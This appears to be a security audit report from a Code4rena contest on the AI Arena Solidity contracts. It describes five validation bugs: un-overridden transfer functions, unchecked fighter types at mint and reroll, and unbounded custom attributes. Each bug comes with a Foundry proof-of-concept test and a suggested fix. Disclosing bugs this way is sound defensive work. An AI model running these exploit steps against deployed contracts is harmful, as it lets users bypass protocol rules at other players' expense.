AI Arena - 0xlemon's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355-L365

Vulnerability details

Summary

A user is able to transfer a staking fighter and also have more that the MAX_FIGHTERS_ALLOWED which is 10. He can do that by using the safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) function from Openzeppelin's ERC721 contract.

Vulnerability Details

Even though the protocol overrides one of the safeTransferFrom functions and adds the needed checks, there is another one with different function selector that is not overridden. This allows users to break protocol's rules, which state that:

• An address can hold a maximum of 10 fighters (NFTS)
• A fighter that is currently staking cannot be transferred

Proof of Concept

Add this test to 2024-02-ai-arena\test\FighterFarm.t.sol. To run it use: forge test --match-test testOneAddressGetsMoreThanMaxFighters -vvv

function testOneAddressGetsMoreThanMaxFighters() public {
    // Suppose we have 10 minted fighters, which is the maximum an address can have
    // User2 has one fighter
    address user = makeAddr("user");
    address user2 = makeAddr("user2");

    vm.startPrank(address(_mergingPoolContract));
    for (uint i = 0; i < 10; i++) {
        _fighterFarmContract.mintFromMergingPool(user, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

     _fighterFarmContract.mintFromMergingPool(user2, "_neuralNetHash", "original", [uint256(1), uint256(80)]);

    // The user has the maximum amount of fighters
    console.log("The user has ", _fighterFarmContract.balanceOf(user));
    vm.stopPrank();

    // Even though one of the safeTransferFrom function is overwritten, the other one is not which allows to bypass the MAX_Fighters check
    vm.startPrank(user2);
    _fighterFarmContract.safeTransferFrom(user2, user, 10, "");
    vm.stopPrank();

    console.log("The user has now ", _fighterFarmContract.balanceOf(user));
}

In this test we can see how users are able to break protocol rules by using an ERC721 safeTransferFrom function that is not overridden by FighterFarm.sol. User2 was able to transfer a fighter to user even though he already had the maximum number of fighters - 10. However this transfer succeeds and now user has 11 NFTS.

This can be replicated with a staking fighter since we are this check as well.

Impact

Breaking protocol invariants.

Tools Used

Manual Review, VS Code, Foundry

Recommended Mitigation Steps

In FighterFarm.sol override safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) and add the _ableToTransfer function as a require statement and then call _safeTransfer.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L301

Vulnerability details

Summary

Users can bypass the rules of non-transferable game items by using safeBatchTransferFrom.

Vulnerability Details

GameItems contract is an ERC1155 contract. It overrides the safeTransferFrom function and adds a require statement to make sure that the item is set to transferable before actually transferring it. However there is another ERC1155 transferring function - safeBatchTransferFrom, that is not overridden by the contract. This allows users to bypass the require statement by using that function. This can be problematic as the owners could want to create a game item that can be minted once and is very valuable so they want only one user to have it and to not be able to transfer it.

Proof of Concept

Add this test in 2024-02-ai-arena\test\GameItems.t.sol To run it: forge test --match-test testTransfersNontransferableItem -vvv

uint256[] public ids;
uint256[] public values;
function testTransfersNontransferableItem() public {
    // Owner creates a game item that is not meant to be transferable
    // Lets say this is a very valuable item that can only be obtained once and can never be transferred
    vm.startPrank(_ownerAddress);
    _gameItemsContract.createGameItem("NonTransferableItem", "", true, false, 1, 0, 1);
    vm.stopPrank();

    address randomUser = makeAddr("randomUser");
    address user2 = makeAddr("user2");

    vm.startPrank(randomUser);
    _gameItemsContract.mint(1, 1);
    vm.stopPrank();

    // The random user has this item
    console.log("Random user balance of this item: ", _gameItemsContract.balanceOf(randomUser, 1));
    console.log("User2 balance of this item: ", _gameItemsContract.balanceOf(user2, 1));

    // second game item
    ids.push(1);
    values.push(1);

    // He then decides to transfer it to someone else
    // Even though the item is not transferable
    vm.prank(randomUser);
    _gameItemsContract.safeBatchTransferFrom(randomUser, user2, ids, values, "");

    console.log("Random user balance of this item: ", _gameItemsContract.balanceOf(randomUser, 1));
    console.log("User2 balance of this item: ", _gameItemsContract.balanceOf(user2, 1));
}

In this test we can see how a user was able to transfer a non-transferable item, bypassing the require check.

Imapct

This breaks protocol rules and can lead to unexpected in-game results.

Tools Used

Manual Review, VS Code, Foundry

Recommended Mitigation Steps

Override safeBatchTransferFrom and add the check to see if the item is transferable.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262

Vulnerability details

Summary

A user is able to change his fighter type when redeeming a mint pass. This is because there is no validation in FighterFarm::redeemMintPass

Vulnerability Details

To better see the issue let's look at an example:

• A user gets the right to claim a mint pass for 1 champion fighter (he gets a signature from the protocol where numToMint[0] = 1 && numToMint[1] = 0)
• He calls AAMintPass::claimMintPass to claim that pass
• After that he calls FighterFarm::redeemMintPass to redeem his fighter, however instead of inputing the fighter type to be 0 for champion, he inputs 1 for dendroid because dendroids are way more rare.
• The user successfully claims a dendroid fighter instead of the champion that he was supposed to have.

Proof of Concept

Add this test in 2024-02-ai-arena\test\FighterFarm.t.sol To run it: forge test --match-test testMintsDendroidInsteadOfChampion -vvv

function testMintsDendroidInsteadOfChampion() public {
    uint8[2] memory numToMint = [1, 0];
    bytes memory signature = abi.encodePacked(
        hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
    );
    string[] memory _tokenURIs = new string[](1);
    _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
    
    // A user claims his mint pass
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _mintPassDNAs[0] = "dna";
    // Change the fighter type to be a dendroid
    // Even though the user is meant to mint a champion
    _fighterTypes[0] = 1;
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 1;

    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);

    _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );

    // check balance to see if we successfully redeemed the mintpass for a fighter
    // We get minted a dendroid instead of a champion
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    // check balance to see if the mintpass was burned
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 0);
}

In this test we can see how a user was able to claim a dendroid fighter instead of a champion. All he had to do is change _fighterTypes[0] to equal 1 for a dendroid type.

Impact

This devalues the dendroid type fighter because now every user with a mint pass can have it.

Tools Used

Manual Review, VS Code, Foundry

Recommended Mitigation Steps

To mitigate this I would recommend to add a variable to keep track of how many fighters a user claimed for each type - similarly to passesClaimed but to be checked in FighterFarm::redeemMintPass and decrement on redeeming a fighter of this type.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370-L391

Vulnerability details

Summary

A user can manipulate the reroll process for a fighter by inputing 1 for dendroid type even though the type of his fighter is champion. This happens due to a missing check for the fighter type.

Vulnerability Details

When rerolling a user gets a chance to get better attributes, but he could also get worse attributes, it is all pseudo-random. When calling FighterFarm::reroll we are asked to input the fighter type of our token, however a malicious user can change that value to get the results in his favour. Here is a brief explanation of how the process could actually be manipulated:

• Let's say the admins alter the attributeProbability array for an attribute by making the rarest value at first place. Here is an example of an array like that - [1, 50, 9, 10, 16, 14]
• A user sees that and decides to exploit it to get the rarest item
• He has a champion fighter and he rerolls it by calling _fighterFarmContract.reRoll(0, 1) where 0 is the tokenId and 1 is the fighter type (He intentionally inputed 1 for a dendroid type instead of 0 for a champion)
• What would happen next is:
  • a call to _createFighterBase and now the new dna = 1 (because we input 1 for the fighter type even though it is not).
  • Then it would call _aiArenaHelperInstance.createPhysicalAttributes where it bypasses the first check for dendroidBool since our fighter is not of dendroid type and goes to the else clause.
  • The rarityRank then is almost certain to become 0 because we divide 1 / attributeDivisor % 100 and in the default divisors everything is higher than 1.
  • When getting the attributeProbabilityIndex we will get the first element of the probability array which is the most valuable - the value 1. We therefore get the most valuable attribute and successfully manipulated the reroll to out advantage

Proof of Concept

Add this test to 2024-02-ai-arena\test\FighterFarm.t.sol To run: forge test --match-test testManipulatingRareness -vvv

function testManipulatingRareness() public {
    // A user has a champion type fighter
    address user = makeAddr("user");

    vm.prank(address(_mergingPoolContract));
    _fighterFarmContract.mintFromMergingPool(user, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    
    // Getting funds for the user to do a reroll
    _fundUserWith4kNeuronByTreasury(user);
    
    // Lets say the probabilities array changes and the first value is the most rare one
    // The sponsors said the order of the values does not matter
    // These are the probabilites of the head attribute, we take it for example
    _probabilities[0] = [1, 50, 9, 10,  16, 14];

    // The user maliciously inputs 1 as if his fighter is dendroid
    _neuronContract.addSpender(address(_fighterFarmContract));
    vm.prank(user);
    _fighterFarmContract.reRoll(0, 1);

    /* What would happen next is:
     a call to _createFighterBase and now the new dna = 1 (because we input 1 for the fighter type even though it is not).
     Then it would call _aiArenaHelperInstance.createPhysicalAttributes where it bypasses the first check for dendroidBool since
     our fighter is not of dendroid type and goes to the else clause.
     The rarityRank then is almost certain to become 0 because we divide 1 / attributeDivisor % 100 and in the default divisors
     everything is higher than 1. When getting the attributeProbabilityIndex we will get the first element of the probability array
     which is the most valuable - the value 1. We therefore get the most valuable head attribute and successfully manipulated the reroll
     to out advantage
    */

   (,uint256[6] memory attributeIndexes,,,,,) = _fighterFarmContract.getAllFighterInfo(0);

    // We can clearly see that we got the rarest index for the head attribute
   console.log("The head attribute has an index of: ", attributeIndexes[0]);
}

Impact

This allows for a manipulated reroll and making it unfair to the users who actually got the rarest attribute index

Tools Used

Manual Review, VS Code, Foundry

Recommended Mitigation Steps

In FighterFarm::reroll add a check to make sure that the fighter type we inputed is the same as the one stored in the fighters array. Like this:

if(fighters[tokenId].dendroidBool) {
    require(fighterType == 1, "Not the same fighter type");
}
else {
    require(fighterType == 0, "Not the same fighter type");
}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167

Vulnerability details

Summary

The winners of a round can claim a fighter with way higher attributes that the maximum allowed.

Vulnerability Details

In MergingPool contract when winners are picked by an admin, they can claim their fighter using the claimRewards function and they can input their own attributes. The problem is that these attributes are not well validated and a user can input whatever number he likes. The restrictions are:

• Default number of elements is 3 meaning the element needs to be in the range [0-2]
• The weight attribute needs to be in the range [65-95]

Through claimRewards a user can make his fighter have 110 element and 200 weight which said by the sponsor "could potentially break things in our game".

Proof of Concept

Add this test to 2024-02-ai-arena\test\MergingPool.t.sol To run it: forge test --match-test testWinnerBreaksGameLogic -vvv

function testWinnerBreaksGameLogic() public {
    address userWinner = makeAddr("userWinner");

    // Imagine these are the winning fighters
    _mintFromMergingPool(userWinner);
    _mintFromMergingPool(_ownerAddress);

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;

    // The owner now picks the winner and the winner can later claim his fighter
    _mergingPoolContract.pickWinner(_winners);

    string[] memory modelURIs = new string[](1);
    modelURIs[0] = "randomURI";

    string[] memory modelTypes = new string[](1);
    modelTypes[0] = "randomType";

    uint256[2][] memory customAttributes = new uint256[2][](1);
    customAttributes[0][0] = 110;
    customAttributes[0][1] = 200;

    // The user now claims his fighter but maliciously inputs higher customAttributes to break the in-game logic
    vm.startPrank(userWinner);
    _mergingPoolContract.claimRewards(modelURIs, modelTypes, customAttributes);
    vm.stopPrank();

    // Getting the newly minted fighter his weight
    (,,uint256 weight, uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2);

    console.log("Fighter with tokenId 1 has weight: ", weight);
}

In this test we see how the user was able to create a fighter that has attributes higher than the maximum range. The newly created fighter has a weight of 200 and element = 110. This can be seen after running the test.

Impact

This could could potentially break in-game logic.

Tools Used

Manual Review, VS Code, Foundry

Recommended Mitigation Steps

If you still want the user to input his custom attributes we need to add a check in _createNewFighter remove this:

    if (customAttributes[0] == 100) {
        (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }

and add this:

    uint256 elMaxRange = numElements[generation[fighterType]];
    if (customAttributes[0] >= elMaxRange || (customAttributes[1] > 95 || customAttributes[1] < 65)) {
        (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }

By adding this we ensure that the customAttributes won't go off the ranges.

Assessed type

Invalid Validation